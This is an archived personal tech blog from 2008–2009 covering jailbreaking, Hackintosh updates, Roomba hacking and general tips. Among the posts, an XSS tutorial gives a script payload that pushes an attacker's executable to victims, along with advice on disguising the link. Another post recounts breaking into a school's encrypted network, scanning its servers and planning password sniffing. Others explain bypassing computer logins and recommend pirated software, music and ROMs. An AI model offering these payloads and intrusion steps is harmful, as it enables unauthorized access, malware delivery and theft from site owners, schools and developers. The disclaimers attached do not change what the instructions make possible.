But I do. And The problem is, Daemon Tools just didn't cut it for me. You see, I didn't like how it hid itself in my operating system as almost every single anti-virus software out there tried to kill it. That just didn't fly with me. So maybe it has just been the bad feeling I get about it, but there must be a better way. I tried Alcohol 120%, but I couldn't find a crack that worked for it.

And then, I learned of Starburn. This incredibly useful program allows for so much to be done. Not only does it install a virtual ISO manager (you have to request that when you install), but it also allows for the burning of almost any type of DVD (I don't think Blu-ray is among them yet, sadly). However, I found that it's utility for burning audio CD's is better than iTunes because it got all the CD text on there as well, making it very easy for another computer to tell what the song's info is.

Tux, In a Completely New Way

2009-03-22T19:44:00.000-07:00

Maybe not from some of you, but this caught me by surprise. I found it while surfing the web and it just blew me away. Check it out. What is better, is that I don't really know how it was made. Looking at the source code of Tux, it appears as though the author brute forced the entire html out. Definitly worth it to see.

It's ROOMBA Time

2009-03-22T09:56:00.001-07:00

Today, while I was looking around for something to do, I came across my mom's old Roomba and I decided I was going to try and hack it.

For those of you who don't know, the Roomba is actually a fairly simple robot to hack, because it has a built in port Roomba Open Interface (ROI) Port that takes an 7-pin connector. This allows anyone with a bit of mechanical skills to build their own connector and begin to mess around with the Roomba's coding. And if you aren't the technically minded, you can always purchase a pre-made ROI interfacer from RoboDynamics or another online provider of Roomba interfacing technology. I, however, prefer to go hardcore and make my own.

Because I just decided today to finally getting around to hacking our family Roomba, I still need to build an adapter and all that. I will be posting my progress on this blog, along with explanations and tutorials of everything I do so that you can all have the opportunity to hack a Roomba as well, if you choose.

The first step, before even building the interfacer, is to get the old Roomba working again. Wish me luck with that one ;).

Fun iPod Touch / iPhone Apps

2009-03-17T13:04:00.000-07:00

I recently jailbroke my iPod, as a lot of people who want to get their money's worth out of the iPod touch. So once you have your iPod booting up with the new custom boot logo, what do you do with it? Wayfarer has already given us one good use of the iPod touch with a combination of skype, Fring, and a few other apps. I have a few other suggestions.

Winterboard - Winterboard is a simple application to install. It can be installed straight from Cydia and once installed it is immediately ready to use to change the themes of your iPod. For anyone who wants to get rid of the boring black background that comes as the only default background. Winterboard is for you. It has all sorts of options for you to play with, although my personal favorite themes are CIA Lockdown, the Angel of Death theme, and the USMC. Winterboard allows for a large variety of custom "cut and hack" type themes you can peace together (for instance, the Marine slide bar and a sexy Ford Mustang background).

NES Emulator - For all of us old-skool video game ficianados, this is the perfect app. It takes a little while to set up, so I will give a short tutorial on it later. The NES Emulator allows you to play tons of old video games like battle chess, bomberman, Donkey Kong (the old one), Final Fnatasy, Super Mario Bros, and Zelda. If you are looking for a perfect imitation of the old games, you'll be disappointed. The emulator while good, is not perfect. I personally found the on-screen controls difficult to use, but the nostalgia value for the games was worth it. Now to install it...

INSTALLATION
Installing the NES emulator is simple. Just search Cydia for NES and it should pop up. Install it. Woohoo! You're done!

Not.

In order to play the games on your NES emulator, you need to have the proper ROMs on your iPod Touch or iPhone. There are a few ways to do this. The more difficult way (I don't personally suggest this method) is to manually move ROMs from your computer onto your iPod. If you wish to do this way, I suggest Googleing it.

The second way is to use a source that will allow you access to ROM's. This method is the one I used, but it was a damn pain in the arse to find a source that worked. In the end, I used this source and I suggest you do as well.

http://apt.123locker.com

To use this source, open Cydia. Click the Manage button and choose 'Sources'. Click 'edit' in the top right corner. Now click on 'Add' in the top left corner. In the pop-up, type "apt.123locker.com" (notice the http:// is already on the screen for you). Click add source.

Once you have the apt source added, you need to install the package NES ROMs Package 1. This will give you a list of ROM's to choose from when you launch your NES Emulator. Pick your poison and enjoy!

Skype on the iPod Touch

2009-03-12T12:37:00.000-07:00

Well, it's been an interesting few days as I try and make my iPod touch as much like an iPhone. Some interesting and sad developments have happened, such as the death of Infinite SMS, and my attempts to get Skype on the iTouch.

Well, I have. By buying an "online number" I have made it so I can call people from my iTouch, and they can call me back. The only problem is, it isn't working as well as I would like it too.

At the moment, I am using Fring, Backgrounder, and KeepAwake to power my jailbroken iTouch. Fring is a client which can hook up to Skype. Backgrounder allows the app to run in the background, so I can do other stuff while still waiting for incoming calls. And lastly, KeepAwake keeps my WiFi on all the time, and in theory, it keeps the iPod from going into sleep mode. This last option allows me to black my screen, but I don't need to worry about the iPod fall asleep and disconnecting fring.

Well, it isn't working as well as I would like it too. I woke up after sleeping and tried calling my iTouch - it didn't ring. Upon checking, fring had disconnected. So the entire integration idea needs work. Basically, I need an Application that always runs in the background, always stays connected to skype, always keeps my WiFi on, and will always ring. I feel that the best way to do this is to make it myself - so hopefully soon, I will start in on this adventure. Wish me luck!

Edit: This post here might mean a Skype Application is coming to the iPhone. Now the Jailbreaking communicty needs to get a hand on it and make it a perfect replacement!

QuickFreedom Gives me Freedom... Quickly

2009-03-11T13:40:00.000-07:00

What did you expect?

Dan, the author of QuickFreedom, had done a great job making QuickTether, and now a great job making QuickFreedom. While the other programs are being updated to include the iPod touch second generation in their repetoir, QuickFreedom allows you to do a fully untethered jailbreak.

The instructions are straightforwards and simple. I used the firmware I had previously downloaded for the Tethered jailbreak, and that worked fine (no reason it shouldn't, same firmware). I managed to jailbreak it in probably under 10 minutes. Didn't even break a sweat. Best of all, the iPod boots, lol.

Full Jailbreak for Second Generation iPod touch.

2009-03-11T12:11:00.000-07:00

There's even a story to this one. But yes, the full jailbreak is now available to the public, I am going to be testing QuickFreedom (before known as QuickTether) to jailbreak my iPod touch. Wish me luck, I will leave a tutorial up when I have finished.

But how did this come to be? It's actually rather interesting how it all came about, from what I have been able to read so far. I'm sure more information will become available in the future, but for now, this is my understanding.

A group of people from the Dev-Team and Chronic worked together to find this exploit. They decided that the best approach would be to hold onto the exploit (not make it public) until Apple released the next generation of the iPhone and iPod touch; this way if the code contained the same error all of the products would be jailbroken. However, a company, NitroKey, was also actively working on the jailbreak, and they too found this exploit - however, instead of releasing it, they tried to capitalise on it and released a product for a price that would jailbreak the device. When Chronic and the Dev-Team saw this, they decided to release their hack so NitroKey wouldn't make money off of the crack - it should be, and always will be, free.

So.... now I'm going to try it. First step: Back everything up.

How To - Get iPhone/iTouch Apps from Appulo.us

2009-03-08T19:06:00.000-07:00

This Guide has been moved to a new home! Please visit it to learn how to get apps for free!

Guide for 2.x
Guide for 3.x
New! Use this guide to install "Install0us," the better tool for install apps. You won't regret it. Guide for all iPhone OS.

First off, we don't support pirating at all. We think that all developers should be given credit and payment for their work - if you pirate you are not giving them that credit. Appulo.us suggests usings its database as a trial period, We suggest the same. This is simply a guide on how to do it - for educational purposes if you want to set up your own database to test from. We do not have any affiliations with any other body.

Alright, first off, you're iPhone (Everything here works for the iPod touch as well, iPhone is simply more universal to say) needs to be running at least OS 2, and it needs to be jailbroken with Cydia installed. If you haven't gotten that far, get that far. Then come back here and read the rest.

**Removed**

QuickTether - Does It Really Work?

2009-03-05T18:59:00.000-08:00

Hellz Ya it works.

~~Dancool's website appears to be down, he sent the new Download Link out over Twitter - here it is.~~ His website is back up. (Looking at Twitter and his Blog, I think the Software is still being Beta Tested - use only at your own risk, and don't ask him for support - only mention bugs.)

I'm using it now. One issue I have already run into - you need to have libusb installed on your computer (at least for Windows x86 Ultimate) before the program will run correctly, it does not run before you do. Please follow this guide to install it correctly. After that (I even restarted O.o ) The program ran fine.

The hardest part I have found was putting the iPod into DFU mode, that took me about 4 tries - I remember doing it with QuickPWN to a first generation iPod touch and got it on the first try, so perhaps the instructions could use a little work...

(It's working...)

(Verifying Software? LMFAO)

Also, once you have done everything and you use the Boot in Quicktether, (disconnected it immediatly after it says it has finished) and then wait. If it boots up to what looks life DFU mode, don't panic.

If you can take pictures, or see the battery symbol in the top of the screen, all you need to do is plug it back into your computer, open iTunes (really, it's safe) and then set up your iPod. It's awesome. I Jailbroke my iTouch.

Mind you this is Tethered, but plugging it into my computer to boot is not my biggest worry. Now, the world is much more open with me, and I get to discover all new fun things. As well as.... well, getting my old App's back, lol.

Skype + iTouch = iPhone

2009-03-02T12:47:00.000-08:00

Well, almost. You still need WiFi to actually make calls, but if you are like me, and have WiFi everywhere you go... it's pretty damn close.

You don't even need to jailbreak your iTouch. If you use a free application like Fring or Nimbuzz, you can sign into your Skype Account. As long as you have credit (I got Unlimited to US and Canada - Come on, it's $3 a month), you can call people from your iTouch. Mind you, you will need some way to input sound (the 2 generation iTouch supports the iPhone Headphones, the ones with the mic on it), but once you get that.... it works.

So, I mean, thinking about it, it is an investment. You need the iTouch, the headphones, and the Skype. But when you compare that to how much an iPhone plan costs... you save after the first year (depending on how big your iTouch is). I'm really excited to start calling people. I'll let everyone know what the quality is like.

Next step though... Jailbreak it.

UPDATE: I haven't jailbroken the iPod yet, but I have made calls from it. I called my Dad (From the east coast to the west coast) and there was some lag in the conversation - on my part I think. I'm going to see if that was a distance problem, but I suspect it may be like that for most conversations, which is really disappointing. I'll work on more details. But to make it clear - I can call people from my iTouch now.

Jailbreak iTouch Second Generation

2009-03-02T09:38:00.000-08:00

So, perhaps you got a new spiffy iTouch and want to know what else you can do with it. Well, I did, and I want to jail break it. However, due to a lack of a untethered jailbreak, we are stuck with a tethered one. If you don't know what that means, read this post.

But, now, in theory, a tethered jailbreak is getting easier and easier with QuickTether. This program will allow you to get a tethered jailbrake done quickly and efficently. If it worked. At the moment, the author of the program is busy fixing many bugs which users have submitted. Mind you, the program was released for download yesterday, so bugs are understandable. Hopefully in the next few days we will have the program back and working well.

Woot vent's up

2009-02-13T22:39:00.001-08:00

Finally got ventrilo working... it took forever because I didn't realize it used UDP & only opened the port for TCP. In my defense, 'udp' appeared exactly ZERO times in the the configuration info I read. ><. I checked.

Getting it set up though gave me a great idea: what how about music over vent?

XSS Vulnerabilities

2009-02-10T19:29:00.001-08:00

Thousands of new websites are popping up every day on the world wide web. It is a great way for people all across the world to display information, to talk with friends, all kinds of great things. We aren't even using the internet to its full potential yet! Theres just one problem: the internet is vulnerable, and that makes computers who go ON the internet vulnerable.

Take cross side scripting (XSS) vulnerabilities. Note that cross side scripting is 'XSS', not 'CSS'. CSS stands for Cascading Style Sheets and is used along with html to organize and structure web pages. For all new web designers, it is important to protect yourself against xss attacks, which are quite common and unbelievably simple to perform.

What is an xss attack?
XSS is a form of client-side attack. Basically it means that an attacker can inject code into a website from his own computer, even without administrative or FTP privelages. Lets use a common feature on websites for an example. A search box. A user inputs a query into the box and hits search. After a few moments, a new page displays with lists of links to different pages that relate to your search. But what happens to the actual HTML? Next time you search, take a look at the source code that is returned to your browser after a search. Your search term (in an xss vulnerable site) was put directly into the html. This happens when the search page displays something along the lines of "Your search for: 'yoursearchtermhere'" at the top of the page. XSS is using that search term in the html code to inject your own code.

How do I know if a page is xss vulnerable?
This is simple. go to any sort of input box. This can be a login, password, email, search box, anything that allows you to type and submit. In the box, type "alert('XSS vulnerable')" (make sure to omit the quotation marks and add tags). When you hit enter, if a pop up box displaying "XSS vulnerable" appears, then the page is vulnerable to javascript xss exploits.

How can an XSS vulnerability on my site be used?
There are lots of ways that XSS can be used. One of the more dangerous ways to use it is to inject code to steal users cookies, which can then be used to trick the websites server into granting you access to that users account and information. It can also be used to download local files from another persons computer.

Ok... but HOW?
Simple. If you have found a site vulnerable to cross site scripting, inputting this code will allow you to download a file to someones computer (you must add < and > around the 'script' and '/script' tags):

script document.location="Your site's .exe file";/script

Put that into the search box and you should be prompted to download your executable. Wonderful. Now what? Now, you copy and paste the full url from the address bar and you can give it to anyone via forum, IM, email, whatever floats your boat. If someone opens it and downloads the executable, they will download whatever your exe file contained.

No one would be stupid enough to fall for that... would they?
Depends. First of all, this can be done to a trustworthy site. The LAPD site happens to be vulnerable to XSS. Adding your script to the end of the LAPD's site may very well fool most people. But if you really want to hide it from people, then you can use a URL masker/encoder to hide the part of the url that shows your script request. That will fool most people.

So there you have it. Play around with XSS for a little bit and you will quickly see the dangers that it can pose to an unprotected site. So make sure, if you are building a site, to properly clean up your code so that users cannot input their own scripts to hijack your site and/or your clients computers and information.

**I DO NOT CONDONE THE USE OF XSS OR ANY OTHER FORM OF 'HACKING' OR SCRIPTING AGAINST A SITE. USE ANYTHING IN THIS POST AT YOUR OWN RISK, AND REMEMBER USE OF IT WITHOUT PERMISSION OF A SITES OWNER IS ILLEGAL**

Music in the 21st century

2009-01-25T17:25:00.000-08:00

[Also: How people have so much music.]

So, this is generally how things work with me and music. It wasn't always this way, but recently this is how things have been working.

1: Here a song on the radio that I like. Write it down.
2: Go back home, go to Google and search up the lyrics. Find the artist and song name.
3: Go to wikipedia, research the band who performed the song.
4: Go to my favorite torrent site. Download discography.

Basically the site progression goes like: Google -> Wikipedia -> The Pirate Bay. It works wonders. And then you have a ton of other music which you can listen to! Isn't that just excited. Now go buy a CD.

Macworld Today

2009-01-06T17:54:00.000-08:00

Well, at least the anticipated part of it. I won't go into detail because I'm sure you can find other places which already have it.

However, the interesting point is, Apple released two new pieces of software, although iLife '09 is not going to be released until late January. iWork '09 is already out, and erm, already cracked.

Now, let's be honest, we aren't talking reversed compiled and/or reversed engineered, but a quick search on your favorite torrent site will reveal iWork '09 with serial numbers. This means that Apple is already losing potential money on their product which has not yet been out for more than a day. What does this mean? Well, it means that it is hard to beat the Pirates, we will go for almost anything. It also means that perhaps it is time for a new method of protection - sharing serial numbers is way to easy.

Sound with your Hackintosh

2009-01-05T07:19:00.000-08:00

Okay, so I don't really kow how I got sound working. I tried four things in rapid succession, all of which without repairing permissions. When I repaired permissions, the sound worked. So, I'm not sure which one worked. However, here is the file which I believed got my sound working (it did the most at least). Just open it up and run (type your password when requested). Reboot, and then fix your permissions.

This worked on my laptop with these specs.

Edit, the above file did not quite work, but this one does work.

Garena Doesn't work in CrossOver

2009-01-04T17:31:00.000-08:00

Continuing with the adventures of my Hackintosh, I am wondering if I can play over LAN with people with Warcraft 3. Installing Warcraft 3 wasn't an issue, Finder openned up the ISO images just fine and booted the installer. Finding Serial Keys was a little trickier, but not impossible. However, updating it is another challenge which I am still working on. I may have to use my friend's CD's to update.

However, I want to install Garena and play over that. So far, no luck. It installed fine with CrossOver Mac, but didn't boot. I'm going to try with Crossover Games, but don't expect too much.

10.5.6 Update is the Most Trouble

2009-01-03T07:43:00.000-08:00

Well, I updated my Hackintosh from Leopard 10.5.2 up to the latest, 10.5.6. And, like always, the last one was always the hardest. The others when smoothly with no issues at all, I just followed the guide I posted earlier. 10.5.6 was obnoxious though. After the update, it would not recognize my keyboard unless I booted into safemode. You could tell how that would be annoying.

Booting into safemode, I had to get my onscreen keyboard (System Preferences -> International -> Input Menu -> Keyboard Viewer && show input menu in menu bar) and I also had to change my password to something simple (all lowercase letters, no numbers). Also in Safemode, I deleted 2 Kexts which I would replace once I booted normally. I rebooted normally, and installed these two kexts:

AppleACPIP2Nub.kext
ApplePS2Controller.kext

Once properly installing both of those, the keyboard worked once again!

You can download the two Kexts here (Unzip and then install).

Updating a Hackintosh

2009-01-01T13:11:00.000-08:00

Hackintosh are PC's which have OS X running on them. I have one, and it is a lot of fun. Of course, it is very hit and miss when it comes to having all your hardware working, but if you are lucky it can be a very rewarding experince.

Updating a Hackintosh can be scary. If updated incorrectly, then it will render the system unworkable. I have found this guide which I am copying here for safe keeping. This guide works for Leopard updating from 10.5.2 up until 10.5.6. The nice thing is the process is exactly the same for each update, just remember to repair permissions each time!

1)- Download the Update from Apple's websie
2)- Mount the .dmg, but don't install the update
3)- Open terminal and type

sudo -s

(It will ask for your password; type it).

4)- Type

while sleep 1
do rm -rf /System/Library/Extensions/AppleIntelCPUPowerManagement.kext;
done

5)- Run update
6)- Press ctrl-c to end the script
7)- Go back to Terminal and type

nano /System/InstallAtStartup/scripts/1

8)- (Note that this step is not required, but to be safe, you might want to do it) Go to the last page of the script and find the line "Don'tStealMacOSX.kext". Change it to "dsmos.kext"
9)- Reboot and type "update -v" (no quotes)
10)- If you have problems booting, try "-v -f -x" or "-v -x"
11)- Open Kext Helper b7 and use it to patch AppleHDA.kext, AppleAHCIPlatform.kext, and AppleAHCIPlatform.kext (Not necessary, only if you have previously done so)
12)- Repair permissions

imdownwitu is WTF

2008-12-12T04:08:00.000-08:00

So, I got a message on Facebook a few days ago from a friend (from whom I rarely hear anything), saying, "What is up with you being on imdownwitu." Well, I immediatly was like, "Wtf, I haven't gone to that website." Then again, I had been doing some rather shaky work, and perhaps I had accidentally tripped over the website. So I open up a new tab and go to imdownwitu.com.

Bad idea.

Immediately I could tell that it was not a good site. It said something to me. I hate it when my computer makes noise, and I would know if I had been to the site before. Also, it gave me a pop up explaining something to me about my profile picture being uploaded from this IP. Not true, I knew that to be a fact. So I closed the tab, and proceeded to write on the persons wall, "wtf, how would you know if I had been there, which I haven't."

And, as it turns out, she didn't write that post on my wall. Something is moving about Facebook, and I don't like it. So if you get any sort of link on your wall, don't go to it (unless you are running Linux) if it is anything else than google.com.

Blocked Out

2008-11-12T09:19:00.000-08:00

So, my friend gave me a Laptop. It is a Dell Latitude CS. This thing has a Pentium 2 and runs on Windows 98. It barely makes a noise, it has no CD drive, no Floppy Drive, no ethernet or modem cable. There seems to be no way to get any information in or out of. Except... through its one USB hub. Problem is, it needs Drivers for any of the USB things I put into it. And it searches online for them... or off a floppy drive.... or its non existant CD drive. So, the new task: Talk to this Stubborn computer. Once I can get information into it, I think I will be able to do awesome stuff, but we shall see...

The Ultimate Hack

2008-10-02T16:52:00.000-07:00

I was watching a movie in my human anatomy class today, and I saw an amazing invention. This machine, built by a Japanese telephone corporation allows for the ultimate hack. I'm not talking about hacking into uber-encrypted, top security government servers and systems. And I'm not talking about hacking your automobile to get more miles for your gas money. Oh no. I'm talking about something much more exciting. I'm talking about this:

Yes, thats right. A Japanese company has discovered a way to hack the human mind and turn a normal person into a remote control car!

This technology, called galvanic vestibular stimulation (GVS) uses low level electric pulses from electrodes to stimulate the inner ear. Because the ear controls your balance using liquid filled tubes, scientists have been playing around with electricity to effect human balance. And now they have succeeded.

With this new technology, it is possible to have a person move either left or right while walking by stimulating their ear's balance mechanism. While you can not be forced to move left or right specifically (at least not by this device), because of the way your brain reacts to the electrical stimuli, it will feel as if you are falling unless you move in the direction the remote control tells you to move in.

While I can see this technology being very, very useful in those "non-lethal" military situations, NTT has a different idea for the technology. Video games. With the ability to physically effect how someone feels currently, such as making them dizzy or feel like they are moving in a certain direction, the video game possibilities are endless. The GVS also has the capability of being used to help people with balance disorders, or even as human GPS!

What do you think? Is this much control over the human mind good or bad? If you had the chance to use this technology to be controlled by a stranger as a tourist attraction, would you?

An Interesting Article

2008-09-27T13:14:00.000-07:00

Read it, digest it, think about it, and when you find reasons to disagree, post your comments!

http://www.lifereboot.com/2007/10-reasons-it-doesnt-pay-to-be-the-computer-guy/

Thank you SFTT.

Exploit #1 - School Attack

2008-09-26T13:51:00.000-07:00

What kind of bloggers would we be if we just talked about everything cool happening in the world, and didn't actually do anything ourselves? We are a hacking blog, we talk about hacks, see what hacks are out there, and how to defend against them. As always, you should hack responsibly, working on making the world (or network) a safer place.

So what did I do that merits a blog post? My friend and I were at school today, messing around. Our school is pretty special in that it has two networks, a public one, and a private encrypted one. Of course, the encryptions is only WEP, so my friend hacked it and shared the key with me. Great, we are in. So now what do we do?

Cue nmap. A necessary program which allows us to view other computers on the network. Because we are on the Secure Network, so are all the other school's computers. Well, my friend and I found the school's server which was hosting the firewall. In our attempts to hack it, I showed another friend around.

I explained that the Firewall really isn't that big a deal. To get around it, you can just "ping" a website to find out its address, and then use the IP address instead of the URL to reach the site. As an example, I typed in this to my OpenSuse Terminal:
$ping www
Of course, this brought up an unexpected result. It fetched the IP address of the school's website, which was on the network. I then used nmap to map its ports:
$ sudo nmap -sS IPADDRESS
And this showed me that our school's web server was running an FTP client with the FTP port open. Using the terminal, I FTP'ed into it, (I used my own username and password, which worked).
The FTP brought me to my own files and folders. I wasn't surprised, I had used my own log in credentials. What did surprise me though, was that I could access some other folders. I went back to the root directory, and found that there were quite a few folders which I didn't know existed. I poked around a little bit, and then left.

There was a lot of other things to explore, and we haven't gotten into the Sonic Wall yet, but nmap has proven to be invaluable already. Now we just need to sniff some passwords.

Hooking up your Computer to your TV

2008-09-25T16:36:00.000-07:00

So, have you ever downloaded a movie, and wished, really badly, that you could see it on something besides your Eeepc, but all you have is your kinda okay Laptop? Well, I just realized how easy it is to hook up your laptop to your TV for some serious big screen action. And that makes me happy. Very happy.

So how is it done?

2 checks and a cable, and you should be good to go (not counting audio, but who needs sound?!) The first step is to see what outputs your computer has for Video. Most should have VGA, but some of the older ones may only use DVI or an S-Video out. The look like this, respectively.

The next step is to find the Video input from your TV. Now, on my television, this was quite simple. I looked at the back, found a VGA "Computer" slot (yes, it was even labeled computer). Other older televisions may have a DVI-D, or just a S-Video, so you will have to hunt for the correct input. What then? Then you mix and match. Find the proper cable, and you should be good to go. Without Audio of course.

Firefox's New Look

2008-09-24T12:41:00.000-07:00

After Successfuly hacking my own computer, I booted up Firefox to a new view. Granted, I did just update from 3.01 to 3.02, but I don't think a remixed UI was in the bill. I mean, this is what I see:

Seriously? I hope my hacking didn't mess up Firefox, that is NOT what I inteded to hack. In the meanwhile, enjoy the rendering errors!

Edit: Apparently it was caused by a malfuntion in the updating process. Lesson learned, don't try opening Firefox twice when it wants to update.

Hacking Passwords

2008-09-24T12:11:00.000-07:00

So, ever want to log into your friends computer, but don't know their password? Well, on a good well protected computer, you are probably screwed. But, on most computers, (I'm sure this will work on many public computers, like the ones you find in Hotel lobbies) there are some simple work arounds.

1: The first thing you should try is booting the computer, and booting it into safe mode. This can be done differently depending on the computer, but usually you have to hit a function key (f(x)) to get it to boot into safe mode. From there, log in as "Administrator" with a blank password. If this works, you can then change or create any passwords for any other user.

Other methods coming soon!

Google Turns 10

2008-09-24T10:34:00.000-07:00

Ahh, who doesn't love the giant Search Engine Google? Well, some of you may not, but I know that Google is my homepage. So at least I love it. And you know what I noticed on their homepage? Google finally realized that they turned 10. So, what have the decided to do about it?

Why, Party of course.

And by party, I mean launch another one of their schemes. Google is starting the Project 10 to the 100th. Basically, the project will accept ideas from people all around the world, and then find the best 100 of them, finallizing it down slowly. The project that will help the most people, wins. Basically, Google is trying to live up to its slogan of "Don't Be Evil" and help the world out. And you know what? If you have a good idea, you should sure as hell submit it, because if you are the one who wins, your idea just came reality. And hey, someone has to win the Nobel Prize.

Sarah Palin - Hacked

2008-09-18T17:01:00.000-07:00

If you haven't heard about the recent "hacking" of Sarah Palin's yahoo email account, I suggest you read it. It is actually quite interesting, and I think I will use it to talk a little bit about hacking.

The first thing I want to mention is the ethics of hacking. There are different types of "hackers" in the cyber world (For the benefit of my fingers and your reading pleasure I am going to use the term 'hacker' to describe one who utilizes their technology prowess to illegally alter or gain information from a source. Technically, this is called 'cracking'). The "good hacker" is known as a white hat hacker, a "bad hacker" is a black hat hacker, and a grey hat hacker is a mixture of the two. It is important to know about the different types of hackers when considering the 'ethics' of hacking.

When a young college boy hacked into Sarah Palin's email account, he was doing it for malevolent purposes, thus making himself a black hat hacker. He wanted to dig up some dirt on Palin, and this was his method of doing that. Obviously no one would consider what he did 'ethical'. But is hacking ever really ethical? White hat hackers often claim that what they do is ethical. They often will hack into a site or server and then report the security breaches to the owner of that site or server, along with suggestions on how to fix it. A prime example of this was MIT when they hacked the Boston Transit Systems electronic swipe cards. This may be 'ethical' to some people, but it is important to keep in mind that it is illegal regardless, unless you get the owners permission.

What I also want to mention quickly is the ethical use of Yahoo's email servers. Sarah Palin's account was easily 'hacked'. Basically, the hacker did some research on Google and used the password reset ability of Yahoo by answering the security questions correctly. For this reason, you must always be careful when using one of the anonymous email services found online, because you never know who may be able to gain access to your account.

The main point I am trying to make in this article is that you have to be careful and tread lightly. It doesn't matter if your 'hack' is simply redoing the password on someones computer. I've done that on my friends laptop before by using the Windows XP built in back door. I made the password "mikerules". Was it ethical? Yes, because he knew I was messing with his computer. I had his permission to try it. But if you EVER do anything like this then rest assured, chances are you will be caught unless you know what you are doing, and you know it well.

And for Christ's sake, after you hack the VP-hopeful, don't post about your deed on an open forum. That's just asking for you to be arrested.

***
As always, hack responsibly.

CERN Powers up LHC

2008-09-14T07:04:00.001-07:00

As most of you probably know, CERN has recently completed its Large Hadron Collider, to the horror of many people. And why should we not be terrified? After all, when the LHC collides protons, we may very well be sucked into a black hole!

...or not. While the possibility does exist that CERN may be able to create micro black holes with the LHC, these black holes will not be able to survive long enough to start an Armageddon.

The reason that no one has anything to fear from CERN's LHC is that any black hole they may manage to create will not be powerful enough to suck anything in. Similar micro black holes are created every second from cosmic rays, so what CERN is doing is to simply recreate what nature itself does all the time. Where's the danger in that?

Well, some scientists say, what if the black hole moves slower than the cosmic rays and gets stuck in Earths gravitational pull? It may then grow and within 4 years may create a black hole large enough to destroy the earth. Now that seems reasonable, doesn't it? Those damn Mayans were right again!! They must have been psychic or something.

To all those worried about the CERN project, just remember this - the CERN project is being worked on by THOUSANDS of scientists from many different countries. And they are obviously not worried about the repercussions of the experiment. There has to be a reason that the physicists in our world aren't sweating over this new Armageddon. And if they aren't worried, why should we be? Besides, wasn't it just 8 years ago that we had the Y2K Armageddon threat? And how are we all going to die next year, eh?

How to remove the tourists from a photo

2008-09-13T18:03:00.000-07:00

So how many times have you taken a great photo of some historic landmark or whatever, and it's crawling with tourists in it? Here's a nice, simple guide to remove those pesky tourists from your shot. A quick note before starting - I will be using Photoshop for this tutorial. There are ways to do it with other programs, such as GIMP, but I won't be covering them in this post.

The first step, of course, is taking the picture. The key here is to take several pictures. You want all the pictures to be similar, also, so use a tripod! The reason you need to use a tripod is so that you can get three pictures in the same exact location.

When you take the three pictures, make sure that you take the pictures at three different times, so that in each picture the tourists have moved. If there was a tourist standing under a tree in shot 1, for example, make sure there is no one in that area for the second shot.

Once you have all the shots and they are uploaded to your computer, open them all in Photoshop. You will then want to copy/paste all the pictures into a single document, as SEPARATE layers. If you change the formatting for any picture when you upload it, make sure you make the same formatting changes for ALL the pictures. You may also need to use the "move" tool in order to adjust the layers and make sure that they all fit properly.

The next step is to make the top layer (pic 3 in this tutorial) invisible by clicking the small 'eye' icon. Create an empty mask on the second layer (pic 2) with the 'mask' button while holding down you option (mac) or alt (PC) button. The mask will go black and your whole layer will be hidden.

The last step is to remove the people from the photo. You will do this with the brush tool. Select the brush tool, and make sure you choose the 'feathered' option. Using white as your forecolor, paint over the layer where the tourists are. As you paint, they will disappear!

You may not be able to remove all the people in the photo, so what you need to do is select the 3rd layer, create an empty mask for it, and brush the remaining people out. Rinse, lather, repeat for as many layers as you have.

You should now have a landscape free of the tourists.

iTunes Likes to Sneak Up on You

2008-09-12T19:19:00.000-07:00

So, I have iTunes. For some reason, most other media players don't do it for me. iTunes, as big and unwieldly as it is, does a good job of playing music. Hahaha. Now all we need is Quicksilver intergration.

And, duh, Quicksilver for Windows.

But, here is the interesting thing. Whenever you happen to install iTunes and Quicktime, Apple goes ahead and messes around with your computer configuration. For example, when their Mobile Me went live, Apple decided to install to many people's computers, a Mobile Me part to their control panel.

Very annoying.

What is also annoying, is that after every iTunes installation, it always come back to your start-up programs. If you got to your start menu, and click "run" (can be found in the accessories folder) and type in: msconfig

You may be surprised. Most users never use this part on windows, but I always do. You can do some messing around with boot options and your services, but really, leave that alone. The good stuff is in "Startup."

Do you wonder why your computer starts up to slowly. Why it takes for ever to open Firefox the first time, right after you log in, but not after half an hour. It is because (usually) your computer is loading a whole slew of programs. This list contains all those programs. By checking and un checking them, you can tell Windows to start some up when you log on, and others to shut up and die.

Like iTunes. This was my list before Installing iTunes 8.

And then after installing iTunes 8.

Very obnoxious. For this reason, it is very important to clean out your Startup lists often. Make your computer faster!

iTunes 8 Makes Vista Crash

2008-09-12T13:49:00.000-07:00

Really? It does? According to this blog post. However, as a great example of "Don't trust everything you hear," I decided to run a test myself. The results?

Epic win. Suck on that Bloggers. Sometimes you just have to test things yourself. There is no substitute for the Truth.

Ubuntu satanic edition

2008-09-09T17:30:00.000-07:00

http://ubuntusatanic.org/news/

haha

Spore - Infested!

2008-09-09T03:44:00.000-07:00

And I am not talking about invested by penis mosters, even though that seemed to be the case. No, this time, it is even worse. I didn't know about it. In fact, I wanted my Mother to buy the game for me because it looks so amazing.

But wait. It is invested. I learned about its infestation through the Pirate Bay, interestingly enough. And I feel that the game should almost be Pirated for this purpose.

Because, uh yeah. It is infested.

With DRM.

The interesting thing is, people are pissed about it. And I mean, really pissed. Just as Apple gives off music with DRM, Spore has it built in as well. You can only install it on three computers, and there are even more restrictions. This ruins the fun value of the game! And you know what, people agree. Check out the reviews on Amazon about this. Unbelievable. What do you think?

Love Google Chrome? Hate Ads? So do I.

2008-09-08T13:15:00.000-07:00

Well, after trying Google Chrome, I realized that it could never beat Firefox. Not the way it was. At least, not yet. And do you know what the biggest case against Chrome is? There is no ad blocker. And of course, this makes complete sense. Google makes its money from Ad Blocking, why should it block its own ads? The business world screams at the very notion of such blasphemy. Well, what if you absolutely love Google, and have to use all of its products?

The solution? Proxies. According to Download Squad, there are a few nice and easy proxies which can block all your ad problems on any browser. Except, of course, Firefox which has AdBlock Plus. So, here are some alternative blockers.

Proxomitron, iReject Trash, Privoxy, and webwasher. All of these work decently well, and should help you browse the web without seeing annoying ads!

Why Google Chrome Won't Be A OS

2008-09-07T18:10:00.001-07:00

great little article/blog entry

http://teddziuba.com/2008/09/a-web-os-are-you-dense.html

2008-09-07T15:47:00.000-07:00

Server's back, fixed up etc.

Apache/mysql/sshd super easy to start up. system-config-services provides a nice/simple graphical interface to do such, I believe that the service command provides essentially the same functionality. Basically a consolidated /etc/init.d/ handler.

Then we had to get apache listening on the proper port. This was a uber PITA, but is essentially three super easy tasks.

1. set apache to listen on the proper port: nano /etc/httpd/conf/httpd.conf & change Listen to 81.

2. make selinux let apache listen on that port: use semange to add 81 to the http_port_t object.

3. set iptables to allow connections to port 81: nano /etc/sysconfig/iptables & copy the existing rule for port 80 to control port 81.

next just restart httpd & iptables and you should be good to listen.

